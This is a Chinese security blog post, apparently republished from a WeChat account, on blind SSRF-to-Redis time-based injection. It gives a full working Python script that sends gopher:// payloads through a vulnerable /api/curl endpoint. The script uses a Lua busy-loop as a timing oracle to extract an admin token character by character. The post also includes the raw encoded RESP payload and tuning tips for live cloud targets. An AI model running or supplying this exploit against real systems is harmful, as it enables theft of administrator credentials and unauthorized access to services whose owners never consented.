实战环境中的Redis 延时注入

实战环境中 Redis 延时注入

实战环境中的Redis 延时注入
实战环境中的Redis 延时注入

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担!本文由s7ck Team团队原创,如转载情注明来源。

实战环境中的Redis 延时注入
实战环境中的Redis 延时注入
本实验环境:
SSRF 不回显
Redis rdp  且 知晓密码 // 云 (基本无rce可能)

代码漏洞点

thinkphp 框架 controller 本文并不做过多解释

实战环境中的Redis 延时注入

延时

# redis 延时命令
eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); 
if string.match(value[1]:sub({}, {}), "{}") 
    then local a=1 while( a <  50000000 ) do a = a+1 end else return 0 end'
 0 "admin_token*"
redis 支持执行 lua 脚本 
但是在lua sleep 函数中 需要 引入三方包 
但是在redis 中做了沙盒限制 所以直接使用for循环达到 延时的作用

基础利用脚本

from urllib.parse import quote
import requests
import time

# HOST = "127.0.0.1"
# PORT = "6379"

def ord2hex(string):
    return '%'+'%02x' % (ord(string))

def urlencode(data):
    data = ''.join([ord2hex(i) for i in data])
    return data

# print("gopher://10.211.55.14:6379/_"  + exp)
def returngopherdata(num,aa):
    # data = '''eval 'local value = redis.call("KEYS", (tostring(ARGV[1]))); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a <  50000000 ) do a = a+1 end else return 0 end' 0 "admin_token_*"rnquit'''.format(str(num),str(num),aa)
    num = urlencode(str(num))
    aa = urlencode(aa)
    data = "%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a".format(num,num,aa)
    data = quote(data)
    data = "gopher://10.211.55.14:6379/_" + data
    return data


def returnpostdata(gopherdata):
    url = "http://10.211.55.14/api/curl"
    headers = {
        "User-Agent""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type""application/x-www-form-urlencoded"
    }
    proxies = {
        "http":"http://127.0.0.1:8080",
        "https":"http://127.0.0.1:8080"
    }
    data = '''url={}'''.format(gopherdata)
    starttime = int(time.time())
    r = requests.post(url,data=data,headers=headers,proxies=proxies)
    endtime = int(time.time())
    needtime = endtime - starttime
    # print("time : " + str(needtime))
    return needtime

def main():
    strings = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
    # admin_token_ts5q9s3hpe5h5fq6pl6776c9tb
    results = ""
    for i in range(13,50):
        print("now : " + str(i))
        for aa in strings:
            gopherdata = returngopherdata(i,aa)
            needtime = returnpostdata(gopherdata)
            if needtime > 5:
                results = results + aa
                print(results)
                break
            # exit()
        print("Wait: 5s")
        time.sleep(5)
    print(results)
    return results



if "__main__" == __name__:
    main()

Redis 协议

redis协议 生成gopher 网上公开的脚本经测试 无法使用 只能自己写
%2a%32%0d%0a%24%36%0d%0a%73%65%6c%65%63%74%0d%0a%24%31%0d%0a%39%0d%0a%2a%34%0d%0a%24%34%0d%0a%65%76%61%6c%0d%0a%24%32%31%37%0d%0a%6c%6f%63%61%6c%20%76%61%6c%75%65%20%3d%20%72%65%64%69%73%2e%63%61%6c%6c%28%22%4b%45%59%53%22%2c%20%28%41%52%47%56%5b%31%5d%29%29%3b%20%69%66%20%73%74%72%69%6e%67%2e%6d%61%74%63%68%28%76%61%6c%75%65%5b%31%5d%3a%73%75%62%28{}%2c%20{}%29%2c%20%22{}%22%29%20%74%68%65%6e%20%6c%6f%63%61%6c%20%61%3d%31%20%77%68%69%6c%65%28%20%61%20%3c%20%20%34%30%30%30%30%30%30%30%30%20%29%20%64%6f%20%61%20%3d%20%61%2b%31%20%65%6e%64%20%65%6c%73%65%20%72%65%74%75%72%6e%20%30%20%65%6e%64%0d%0a%24%31%0d%0a%30%0d%0a%24%31%33%0a%61%64%6d%69%6e%5f%74%6f%6b%65%6e%5f%2a%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a
经url解码后


*2
$6
select
$1
9
*4
$4
eval
$217
local value = redis.call("KEYS", (ARGV[1])); if string.match(value[1]:sub({}, {}), "{}") then local a=1 while( a <  400000000 ) do a = a+1 end else return 0 end
$1
0
$13
admin_token_*
*1
$4
quit

redis 协议 *

*2
代表有两个arg
例如
select 6 
这是两个参数

redis 协议 $

$6
代表下面字符有6个
例如
select

利用

假设 redis 中存在admin_token_asdadasadadad

实战环境中的Redis 延时注入

脚本利用截图

实战环境中的Redis 延时注入

实战环境中的Redis 延时注入

admin_token_asdadasadadad

asdadasadadad
对比情况相同 成功得到管理员token

Tips

现实情况中要考虑网络延迟情况 与 对方服务器情况

并且这个脚本并默认只跑 key 符合 admin_token_* 的第一条内容 如果在脚本运行期间 有新token 加入 则会造成 token 错误的情况 后续需要将payload 更改
每次跑出一位后
例如第一位为a 那么第二次的paylaod 应该为 admin_token_a*  这样就算 脚本运行期间有新的token加入 也不会影响我们得到的token正常使用

每次延时时间要根据对方服务器判断 想靶场环境的话 400000000 大概在三秒左右 如果用线上环境 rds 一类的话 可能只有一秒不到的延时 所以要适量增加 for 循环次数
直接  eval 'local a=1 while( a <  50000000 ) do a = a+1 end' 0 查看回显时间

实战环境中的Redis 延时注入



实战环境中的Redis 延时注入
实战环境中的Redis 延时注入

进群

获取更多精

实战环境中的Redis 延时注入
实战环境中的Redis 延时注入
实战环境中的Redis 延时注入
实战环境中的Redis 延时注入


IT’S RAINING NOW

实战环境中的Redis 延时注入

点个在看你最好看

实战环境中的Redis 延时注入


原文始发于微信公众号(s7ck Team):实战环境中的Redis 延时注入

版权声明:admin 发表于 2024年4月18日 下午8:02。
转载请注明:实战环境中的Redis 延时注入 | CTF导航

相关文章